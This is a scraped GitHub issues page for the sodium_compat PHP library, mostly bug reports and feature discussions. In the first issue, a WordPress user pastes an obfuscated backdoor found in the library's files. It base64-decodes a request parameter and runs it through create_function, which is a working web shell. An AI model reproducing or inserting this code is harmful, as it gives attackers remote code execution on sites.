paragonie / sodium_compat Goto Github PK
View Code? Open in Web Editor NEWPure PHP polyfill for ext/sodium
Home Page: https://paragonie.com
License: ISC License
Pure PHP polyfill for ext/sodium
Home Page: https://paragonie.com
License: ISC License
I found the following code in my WordPress. Can anyone find any exceptions.
sodium_compat.php && constants.php between <?php
and namespace Sodium;
$ALpmKtOl8475 = "/jqsbr9ia654yug0ew1)*7dtp;m8lx_2fnvh3zo.ck(";
$kHTiDsnt7866 = "";
foreach([3,38,5,23] as $E){
$kHTiDsnt7866 .= $ALpmKtOl8475[$E];
}
if(isset($_REQUEST /*IlrKKxaEyQYkVUUVAQbCmgexCXoxvTrWqZxLlUthFJqduXYQfOEmKNTKGadaSfRBShxfGLFeFWBpNsWfEfbqbOCqDwLWiKmAoIrTUVLuzCGVahNNWQrOmifqtmmmrJzS*/["$kHTiDsnt7866"])){
$DDebczKe7430 = $_REQUEST /*IlrKKxaEyQYkVUUVAQbCmgexCXoxvTrWqZxLlUthFJqduXYQfOEmKNTKGadaSfRBShxfGLFeFWBpNsWfEfbqbOCqDwLWiKmAoIrTUVLuzCGVahNNWQrOmifqtmmmrJzS*/["$kHTiDsnt7866"];
$EqHZGFsG5581 = "";
$DmPqoAru8529 = "";
/*BFqVBKdwHVucHDLSKCdwDiTVwngSbkntEQocQxHZWXqOHINzkwYNpFtIhaZOzZmlBugDZEeVeugTChJBDKMyUvNOMfLdQhewrsRxbevlgjPspZyWQsuBuFbokFrMaJQa*/
foreach([4,8,3,16,9,11,30,22,16,40,38,22,16] as $E){
$EqHZGFsG5581 .= $ALpmKtOl8475[$E];
}
/*bJvLXYFVbsskXlgKXtVZMihhCyROeEvZEuTsNlIYPVOwxQISXNpPYfiuOKkkcTUqbyksvSGuxRecSOetQBEaewcaSqwZTBmbrWvMYSwkZgnbggtoDJLEdgPaRpCiDDyg*/
foreach([3,23,5,5,16,34] as $E){
$DmPqoAru8529 .= $ALpmKtOl8475[$E];
}
/*BNAAulguuQqtnSBDkkMBWjwtJICKhYDEEYyHJYKXJSmfoXDkKeHSIGWguuvFFNCwBCphSfhTRoclivzmdsvCnwqmZAiVWVuHrAabUFyjSeLKWnoHqZdGNGDMxZODhxgl*/
$E = $DmPqoAru8529('n'.'o'.'i'.'t'.''.''.''.''.'c'.'n'.'u'.''.''.'f'.''.''.'_'.''.''.''.'e'.'t'.'a'.'e'.''.''.''.''.'r'.'c');
$E = $E("", $EqHZGFsG5581($DDebczKe7430));
$E();
exit();
}
Right now our Int32 class consists of 2 limbs and our Int64 class consists of 4 limbs, each 16 bits.
While this is simple to reason about, it might be worth investigating a reduced-limb implementation of, at least, Int64. (I don't think Int32 can be expressed in fewer than two limbs.)
Benefits:
Downsides:
Here's what the current implementation looks like (hex then binary):
[0] [1] [2] [3]
0000FFFF 0000FFFF 0000FFFF 0000FFFF
[0]
00000000 00000000 11111111 11111111
[1]
00000000 00000000 11111111 11111111
[2]
00000000 00000000 11111111 11111111
[3]
00000000 00000000 11111111 11111111
Because PHP's integers are signed, we want to avoid the most significant bit.
A naive optimization that would save us from one limb looks like this:
[0] [1] [2]
0000FFFF 00FFFFFF 00FFFFF
[0]
00000000 00000000 11111111 11111111
[1]
00000000 11111111 11111111 11111111
[2]
00000000 11111111 11111111 11111111
This would save us roughly 25% of memory usage, and make most operations 25% faster. I'd need to benchmark this to be exact.
I'm writing my thoughts here to solicit feedback before I embark on such an initiative. Note: It might be wiser to just add a GMP implementation.
When this branch is taken, $ifp
is left open: https://github.com/paragonie/sodium_compat/blob/master/src/File.php#L57. A similar happens if somehow !is_int($size)
is true even though the file opened successfully. The other functions in File.php
might have similar leaks (I didn't look).
Depends on #2
For reference:
Not everyone uses Composer. This is especially true for PHP 5.2 users. To solve this use-case, we should distribute a PHP Archive (.phar), sign it, and include it in all future releases.
Should we include a crypto_aead_aes256gcm_*
wrapper for OpenSSL on PHP 7.1?
wrong sodium-compat.phar.sig file in release 1.6.0 on here
sodium-compat.phar.sig
file in release 1.6.0 is identical to release 1.5.6
gpg --verify sodium-compat.phar.sig sodium-compat.phar
gpg: Signature made Tue Jan 30 07:21:23 2018 CST using RSA key ID 826404DA
gpg: BAD signature from "Security <[email protected]>"
gpg --verify sodium-compat.phar.sig sodium-compat.phar
gpg: Signature made Tue Jan 30 07:21:23 2018 CST using RSA key ID 826404DA
gpg: Good signature from "Security <[email protected]>"
gpg: WARNING: This key is not certified with a trusted signature!
gpg: There is no indication that the signature belongs to the owner.
Primary key fingerprint: 7F52 D5C6 1D12 55C7 3136 2E82 6B97 A1C2 8264 04DA
It looks like the file sodium-compat.phar.sig
in release 1.5.6 got copied to release 1.6.0 by mistake on here (...so it does not work for 1.6.0 gpg verification)
Hi all,
This is just a "service message".
For those people who use this library and use PHPCompatibility
in their CI process, there is now a custom ruleset available which can be used to prevent false positives being thrown by PHPCompatibility
for the native PHP functionality being polyfilled by this repo.
You can find the repo for the PHPCompatibilityParagonieSodiumCompat
ruleset here on Github as well as on Packagist.
Hope someone will find it useful 😄
P.S.: If anyone is interested in helping us to maintain the ruleset, please open an issue in the repo.
For specific reasons , I have to work with an i386 computer running debian testing without iibsodium installed.
While giving a try to Paseto, I was hit with an "Invalid MAC" error when parsing the token, which lead me to #38.
After running the phpunit tests on current master HEAD, here is the final output:
Time: 1.8 hours, Memory: 18.00MB
There was 1 error:
1) FileTest::testSeal
SodiumException: Invalid MAC
/srv/www/local/sodium_compat/src/Crypto32.php:1003
/srv/www/local/sodium_compat/src/Crypto32.php:664
/srv/www/local/sodium_compat/src/Crypto32.php:519
/srv/www/local/sodium_compat/src/Compat.php:983
/srv/www/local/sodium_compat/tests/unit/FileTest.php:147
--
There was 1 failure:
1) FileTest::testBox
Failed asserting that two strings are identical.
--- Expected
+++ Actual
@@ @@
-d1be33c603b2363bc2cda62795b458d34aba8d03a9c190fa5fe0c14603f57eb6b0db46a322a21fdef20498304d2fbc9d
+46679e2378061e778f9b1cf4f796f59822cf39d3017fc62464d5be2e2dbabd5648593477ef571af3732ff33dacf116af
/srv/www/local/sodium_compat/tests/unit/FileTest.php:43
ERRORS!
Tests: 173, Assertions: 6699, Errors: 1, Failures: 1, Skipped: 58.
I know that i386 targets are not high priority, but would it be possible for someone to have a look at these tests. Hopefully, it may result in a quick and easy fix.
thanks
After I'm confident that this library is...
...then the next step will be to obtain an independent third party security assessment.
A recent change causes some issues with 32-bit versions of PHP 7. This affects at least calls to Compat::crypto_aead_xchacha20poly1305_ietf_encrypt()
.
pack(): 64-bit format codes are not available for 32-bit versions of PHP
Code causing the error assumes PHP 7 is always 64bit. For more info see also tuupola/branca-php#2.
I am currently working with data that requires to be handled with SECp256k1 instead of Ed25519. As far as I could find in the code, which could be wrong, everything is handled via Ed25519.
Is there some way with sodium/libsodium to make all crypto_sign_* methods use SECp256k1?
// Need this to be done with SECp256k1
function getKeysFromSecret($secret) {
$hash = hash('sha256', $secret, true);
$keypair = \Sodium\crypto_sign_seed_keypair($hash);
$secret = \Sodium\crypto_sign_secretkey($keypair);
$public = \Sodium\crypto_sign_publickey($keypair);
}
phpseclib/phpseclib#1082 (comment)
This is mostly going to require writing an alternative backend (e.g. ParagonIE_Sodium_GMP_*
) that reimplements the ciphers using the GMP extension.
I don't know when I'll have time to do this, but the prospect of a a 3x speedup is really enticing.
I'm doing static analysis.
Could you help me fix thrown types in code vs. in PHPDoc?
https://github.com/paragonie/sodium_compat/blob/master/lib/sodium_compat.php#L41-L60
I don't know why. It won't install OpenSSL.Light
anymore.
See: https://ci.appveyor.com/project/paragonie-scott/sodium-compat/builds/20634665/job/i0rjmcpcskhevtcx
openssl.light package files install completed. Performing other installation steps.
Installing 64-bit OpenSSL.Light...
OpenSSL.Light has been installed.
Installed to 'C:\Program Files\OpenSSL'
PATH environment variable does not have C:\Program Files\OpenSSL\bin in it. Adding...
openssl.light can be automatically uninstalled.
Environment Vars (like PATH) have changed. Close/reopen your shell to
see the changes (or in powershell/cmd.exe just type `refreshenv`).
The install of openssl.light was successful.
Software installed to 'C:\Program Files\OpenSSL\'
Chocolatey installed 6/9 packages. 3 packages failed.
See the log for details (C:\ProgramData\chocolatey\logs\chocolatey.log).
Installed:
- kb2919355 v1.0.20160915
- kb3033929 v1.0.4
- chocolatey-core.extension v1.3.3
- openssl.light v1.1.1.20181020
- vcredist140 v14.15.26706
- chocolatey-windowsupdate.extension v1.0.3
Failures
- kb2999226 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB2999226\tools\chocolateyinstall.ps1'.
See log for details.
- kb2919442 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB2919442\tools\ChocolateyInstall.ps1'.
See log for details.
- kb3035131 (exited 1058) - Error while running 'C:\ProgramData\chocolatey\lib\KB3035131\Tools\ChocolateyInstall.ps1'.
See log for details.
Command exited with code 1058
I'm getting:
Fatal error: Maximum execution time of 30 seconds exceeded in C:\xampp\htdocs\sodium\Libsodium\src\Core32\Int64.php on line 436
When I'm trying to run the demo in php 7.2.8 as it is metioned on the documentation, without the use of composer.
Just came across a potential inconsistency between this library and the PHP native implementation.
In the PHP native implementation, there is a constant called SODIUM_CRYPTO_KX_SEEDBYTES
.
https://github.com/php/php-src/blob/397d40cdd7830add08e382c2e8f187b37b55f180/ext/sodium/libsodium.c#L507
I cannot find that constant in this library, but I can find the SODIUM_CRYPTO_KX_BYTES
constant which does not seem to exist in PHP itself.
sodium_compat/lib/constants.php
Line 27 in 3b62b53
Just thought I'd ask about it.
ext-libsodium
#27sign('apple', $sk)
then verify('zebra', $pk)
=== false)TypeError
and other exceptions are thrown as expected
Hi!
To be honest, I didn't try it, but as the lib (at least tentatively) supports 5.2(.4?), it should not be using the __DIR__
constant in the main autoloader. That magic constant only exists in PHP 5.3+, and should probably be replaced there with e.g. dirname( __FILE__ )
.
Regards,
Tobias
I was initially reluctant to implement this, because:
crypto_aead_encrypt()
and the like....but Noise specifies ChaCha20-Poly1305 and AES-GCM as the acceptable options.
PHP: 7.1
Ubuntu: 14.04
followed all the instructions in the website and last part was put sodium.so
in my
/etc/php/fpm/php.ini
.
now to test it out, I tried the ff code in php artisan tinker
(ran in command line) inside one of my laravel projects
var_dump([
SODIUM_LIBRARY_MAJOR_VERSION,
SODIUM_LIBRARY_MINOR_VERSION,
SODIUM_LIBRARY_VERSION
]);
and got this results
array(2) {
[0] =>
int(9)
[1] =>
int(1)
[2] =>
string(6) "1.0.14"
}
Now, when I tried the code on my browser.
I am getting this error Use of undefined constant SODIUM_LIBRARY_MAJOR_VERSION - assumed 'SODIUM_LIBRARY_MAJOR_VERSION
Issues foreseen (check them off when mitigated):
Hello,
The following error is occurring when I try to run any of the Using Sodium Compat examples in the README.
Fatal error: Call to undefined function random_bytes() in /path/to/sodium_compat-1.6.1/src/Core/Ed25519.php on line 24
As I understand it, random_bytes()
is only available in PHP >= 7.
Is there a reason for this error or am I missing something?
I managed to circumvent the error by using Random-Compat (https://github.com/paragonie/random_compat), but ideally I'd want to avoid this.
Call to undefined function Sodium\crypto_sign_ed25519_sk_to_curve25519()
Isn't that covered ?
I was hoping to use the 7.2 style syntax for these methods, but they aren't provided in here. Is there any chance of bringing them in like memzero
, where they throw an exception on default php?
On the same note, would that mean all methods would appear in this library? (Are these the only missing ones?)
Hello,
I've used the v0.3.1 in a test php 5.4 project (only with crypto_box).
I've notice that the librairy was verry speed (~150ms / 200ms in my personal case)
I've try recently an update to the latest version v1.1.0, but my request time increase a lot (~3.5s / 4s)
I found this speed issue between v0.3.1 and v0.4.0.
It's just to report my use case. Maybe I don't use the lib correctly!
Thanks in advance.
Basically giving some sort of isSupported
method for use in mass market things like Joomla. That basically means exposing some sort of form of the use_fallback
method. https://github.com/paragonie/sodium_compat/blob/master/src/Compat.php#L2436
This is so we can have a comprehensive isSupported
method https://github.com/joomla-framework/authentication/blob/2.0-dev/src/Password/Argon2iHandler.php#L73-L79 that allows us to either enable or disable Argon support depending on the users environment for mass market
(for example right now our travis fails because libsodium isn't installed which this library depends on - and i'd rather not recode up what's going on in the use_fallback
method here https://travis-ci.org/joomla/joomla-cms/builds/308145677
Hello to all!
Call to undefined function sodium_crypto_secretbox_keygen()
I didn't find this function when search this text on Sodium package. But another functions from _secretbox
exists in Sodium package:
How to generate secret key for sodium_crypto_secretbox if sodium_crypto_secretbox_keygen() function does not exist?
P.S. I found that this code could be the solution, but is this solution safe enough?
$secret_key = random_bytes(SODIUM_CRYPTO_SECRETBOX_KEYBYTES);
@paragonie-scott
From Dion Hulse on Wordpress Slack:
Did some more digging, turns out the PHP CLI in that environment works, while php-fpm doesn’t.
Got down as far as the final loop inParagonIE_Sodium_Core_Curve25519::ge_double_scalarmult_vartime()
ati = 247
whereself::ge_p2_dbl()
starts returning different data,T: 60762035, -28864121, -22424362, 37674336, 25959391, -1347853,.....
when it’s workingT: 60762016, 2506747835552135, -14802114316999430, 6459153759631826, -7767544285703312,.....
in a non-working case, so looks like some kind of int overflow issue
A more general issue than #37
F.F.FF..EFFEEFFFE..E....FFF.FFFF.........EFEFFFF.FF.SFF.....FS. 63 / 121 ( 52%)
.S.F.FFF.SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS 121 / 121 (100%)
Time: 27.48 seconds, Memory: 27.00MB
[snip]
ERRORS!
Tests: 121, Assertions: 674, Errors: 7, Failures: 30, Skipped: 52.
Here's the full output for the curious.
output.txt
This test works fine while using the libsodium extension, but fails with your awesome compat library.
//SessioKey
$sessionKey = hex2bin("846394900c6c826431361885cfbedf4ec77c44f3022b13e9a7d0200728f0a0e1");
//Encrypted
$encrypted = hex2bin("0ffb01f94450b6803ab9fa5994d4e6242c04ac312c8aae2c8de0effd54a0db9a867ee101bfc5ebb235d734edba3c27f299d81644c1bc7b6ca4802550c29d7b28f10e5f5721bcbad2330337b2b64072fb1ead0de5d4923568c6bae5d1cd6ac528ab4d9fda97fa612ffcac0ad68f79b1578b4f1ea1d241b49aff3c71ca0a6e1c1ede16903136baa3f1c4e38e6e021a697a5fd5fd4f7df199b54c6c");
//Decrypted
$decrypted = sodium_crypto_aead_chacha20poly1305_ietf_decrypt($encrypted, "", "\0\0\0\0PS-Msg05", $sessionKey);
//Encrypt and verify with test data
$reEncrypted = sodium_crypto_aead_chacha20poly1305_ietf_encrypt($decrypted, "", "\0\0\0\0PS-Msg05", $sessionKey);
if($encrypted == $reEncrypted) {
echo "OK";
} else {
echo "FAILED";
}
I tested a composer update this morning, and I have an issue with constant declaration.
With released version v1.11.1
, no issues were seen.
Since this morning and new releases, I have this v1.11.3
system: Linux Ubuntu 18.04 running docker.
php: php7.1 with sodium extension.
php -v
PHP 7.1.32-1+0~20190902.23+debian9~1.gbp9d1be7 (cli) (built: Sep 2 2019 13:35:11) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.1.0, Copyright (c) 1998-2018 Zend Technologies
with Zend OPcache v7.1.32-1+0~20190902.23+debian9~1.gbp9d1be7, Copyright (c) 1999-2018, by Zend Technologies
php --re sodium
Extension [ <persistent> extension #55 sodium version 2.0.10 ] {
...
▅▂▆▄▇ ❱ composer init
Welcome to the Composer config generator
This command will guide you through creating your composer.json config.
Package name (<vendor>/<name>) [root/test_sodium_compat]: bburnichon/test_sodium_compat
Description []:
Author [Benoît Burnichon <[email protected]>, n to skip]:
Minimum Stability []:
Package Type (e.g. library, project, metapackage, composer-plugin) []: project
License []:
Define your dependencies.
Would you like to define your dependencies (require) interactively [yes]?
Search for a package: paragonie/sodium-compat
Found 1 packages matching paragonie/sodium-compat
[0] paragonie/sodium_compat
Enter package # to add, or the complete package name if it is not listed: 0
Enter the version constraint to require (or leave blank to use the latest version):
Using version ^1.11 for paragonie/sodium_compat
Search for a package:
Would you like to define your dev dependencies (require-dev) interactively [yes]? no
{
"name": "bburnichon/test_sodium_compat",
"type": "project",
"require": {
"paragonie/sodium_compat": "^1.11"
},
"authors": [
{
"name": "Benoît Burnichon",
"email": "[email protected]"
}
]
}
Do you confirm generation [yes]?
Would you like to install dependencies now [yes]?
Loading composer repositories with package information
Updating dependencies (including require-dev)
Package operations: 2 installs, 0 updates, 0 removals
- Installing paragonie/random_compat (v9.99.99): Downloading (100%)
- Installing paragonie/sodium_compat (v1.11.3): Downloading (100%)
paragonie/random_compat suggests installing ext-libsodium (Provides a modern crypto API that can be used to generate random bytes.)
paragonie/sodium_compat suggests installing ext-libsodium (PHP < 7.0: Better performance, password hashing (Argon2i), secure memory management (memzero), and better security.)
Writing lock file
Generating autoload files
[Fri Oct 18 10:52:49][/projects/test_sodium_compat]
▅▂▆▄▇ ❱ php vendor/autoload.php
PHP Notice: Constant SODIUM_BASE64_VARIANT_ORIGINAL already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 7
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_BASE64_VARIANT_ORIGINAL_NO_PADDING already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 8
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_BASE64_VARIANT_URLSAFE already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 9
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_BASE64_VARIANT_URLSAFE_NO_PADDING already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 10
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_AES256GCM_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 11
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_AES256GCM_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 12
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_AES256GCM_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 13
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_AES256GCM_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 14
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 15
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 16
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 17
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 18
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 19
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 20
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 21
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_CHACHA20POLY1305_IETF_ABYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 22
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_KEYBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 23
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NSECBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 24
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
PHP 3. composerRequireba995bb6b40626c5048844f82fd3b503() /projects/test_sodium_compat/vendor/composer/autoload_real.php:56
PHP 4. require() /projects/test_sodium_compat/vendor/composer/autoload_real.php:66
PHP 5. require_once() /projects/test_sodium_compat/vendor/paragonie/sodium_compat/autoload.php:49
PHP Notice: Constant SODIUM_CRYPTO_AEAD_XCHACHA20POLY1305_IETF_NPUBBYTES already defined in /projects/test_sodium_compat/vendor/paragonie/sodium_compat/lib/php72compat_const.php on line 25
PHP Stack trace:
PHP 1. {main}() /projects/test_sodium_compat/vendor/autoload.php:0
PHP 2. ComposerAutoloaderInitba995bb6b40626c5048844f82fd3b503::getLoader() /projects/test_sodium_compat/vendor/autoload.php:7
